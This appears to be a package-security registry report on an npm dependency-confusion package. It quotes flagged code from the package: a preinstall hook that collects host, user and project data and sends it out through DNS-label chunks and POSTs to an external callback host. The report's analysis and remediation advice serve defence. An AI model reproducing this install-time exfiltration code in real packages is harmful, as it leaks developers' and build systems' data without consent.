registry / Data exfiltration / stillm4ddpocs-rtest-bravo

stillm4ddpocs-rtest-bravo

Internal test artefact, not a real PoC. Do not install.

AUTHORISED SECURITY RESEARCH — dependency confusion proof of concept. This package was published because the name appeared in publicly served code but was unregistered on the public registry. If it is in your dependency tree, your resolver fetched an inte

This report shows the evidence for stillm4ddpocs-rtest-bravo@999.9.10. 2 of 2 known versions are blocked or flagged. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

The package performs concrete, unconsented install-time collection and external exfiltration of system and project data. Its stated research purpose does not remove the active data-exfiltration behavior.

Static reason

One or more suspicious static signals were detected.

Trigger

npm installation, via preinstall

Impact

Unconsented disclosure of developer/CI identity, paths, project metadata, and network identifiers.

Mechanism

install-time host fingerprinting and multi-channel data exfiltration

Attack narrative

Installing the package runs its preinstall hook. The hook reads the consuming project's package manifest, gathers user, host, path, local and external network identifiers, then sends the JSON payload to an attacker-controlled callback. It encodes payload chunks in DNS labels to bypass HTTP-only egress restrictions and also POSTs via both HTTPS and HTTP.

AI rationale

Evidence

package.jsonindex.js$INIT_CWD/package.json

Network endpoints5

da51rv0hb2uc72tg4gvgdepinjcallbk1.oast.funapi.ipify.orgicanhazip.comifconfig.me/ipo-o.myaddr.l.google.com

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

npm preinstall executes index.js automatically.
It reads the consuming project's manifest and collects identifying metadata.
It collects username, home path, hostname, local/public/resolver IPs, and install directory.
It hex-encodes the collected payload into DNS queries and also POSTs it to a fixed callback host.

Evidence against

No filesystem writes, subprocess execution, downloaded payloads, or credential/environment-variable enumeration were found.

Behavioral surface

Source

CryptoEnvironmentVarsFilesystemNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 6.70 KB of source, external domains: api.ipify.org, icanhazip.com, ifconfig.me

Source & flagged code

6 flagged

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

10"scripts": { "preinstall": "node index.js" }

High

Ai Review Evidence

npm preinstall executes index.js automatically.

package.jsonView on unpkg · L10

index.jsView file

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const http = require("http"); const https = require("https"); const CALLBACK = "[redacted].oast.fun"; // because they fail in different situations: the HTTPS lookup gives this // host's egress address and needs outbound HTTP; the DNS lookup gives the const urls = ["https://api.ipify.org", "https://icanhazip.com", "https://ifconfig.me/ip"]; const req = https.get(url, { timeout: 2000 }, (res) => {

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

35if (String(process.env.npm[redacted]) === "true") return out; const root = process.env.INIT_CWD || process.cwd(); const manifest = path.join(root, "package.json"); if (!fs.existsSync(manifest)) return out; const pkg = JSON.parse(fs.readFileSync(manifest, "utf8")); out.name = pkg.name || "__unnamed"; if (pkg.author) out.author = typeof pkg.author === "string" ? pkg.author : pkg.author.name; if (pkg.repository) out.repository = typeof pkg.repository === "string" ? pkg.repository : pkg.repository.url; if (pkg.homepage) out.homepage = pkg.homepag

High

Ai Review Evidence

It reads the consuming project's manifest and collects identifying metadata.

index.jsView on unpkg · L35

146const hex = Buffer.from(body).toString("hex"); const chunks = hex.match(/.{1,60}/g) || []; dns.resolve(`u-${info.uuid}.n-${chunks.length}.${CALLBACK}`, () => {}); chunks.forEach((c, i) => { try { dns.resolve(`${i}-${c}.u-${info.uuid}.${CALLBACK}`, () => {}); } catch (e) {}

High

Ai Review Evidence

It hex-encodes the collected payload into DNS queries and also POSTs it to a fixed callback host.

index.jsView on unpkg · L146

154for (const [mod, port] of [[https, 443], [http, 80]]) { try { const req = mod.request({ hostname: CALLBACK, port: port, path: `/poc/${info.uuid}`, method: "POST", timeout: 5000, headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(body), "X-Poc-Uuid": info.uuid } }); req.on("error", () => {}); req.on("timeout", () => { try { req.destroy(); } catch (e) {} }); req.write(body); req.end();

High

Ai Review Evidence

It hex-encodes the collected payload into DNS queries and also POSTs it to a fixed callback host.

index.jsView on unpkg · L154

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

10"scripts": { "preinstall": "node index.js" }

High

Ai Review Evidence

npm preinstall executes index.js automatically.

package.jsonView on unpkg · L10

index.jsView file

High

Trigger Reachable External Post Callback

Findings

6 High2 Medium4 Low

HighInstall Time Lifecycle Scriptspackage.json

HighTrigger Reachable External Post Callbackindex.js

HighAi Review Evidencepackage.json

HighAi Review Evidenceindex.js

MediumNetwork

MediumEnvironment Vars

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to stillm4ddpocs-rtest-bravo@999.9.10.

The versions list below shows the verdict for each recorded version.

Avoid installing stillm4ddpocs-rtest-bravo@999.9.10. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-23 03:30:25.253Z (UTC).

Source advisory published: 2026-08-23 03:13:51.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

999.9.10latestshownMaliciousData ExfiltrationBlockPublishedAug 22, 2026, 10:28 PM 999.9.9MaliciousMalwareBlockPublishedAug 22, 2026, 10:28 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Behavioral surface

Related packages

Other data exfiltration packages

Source & flagged code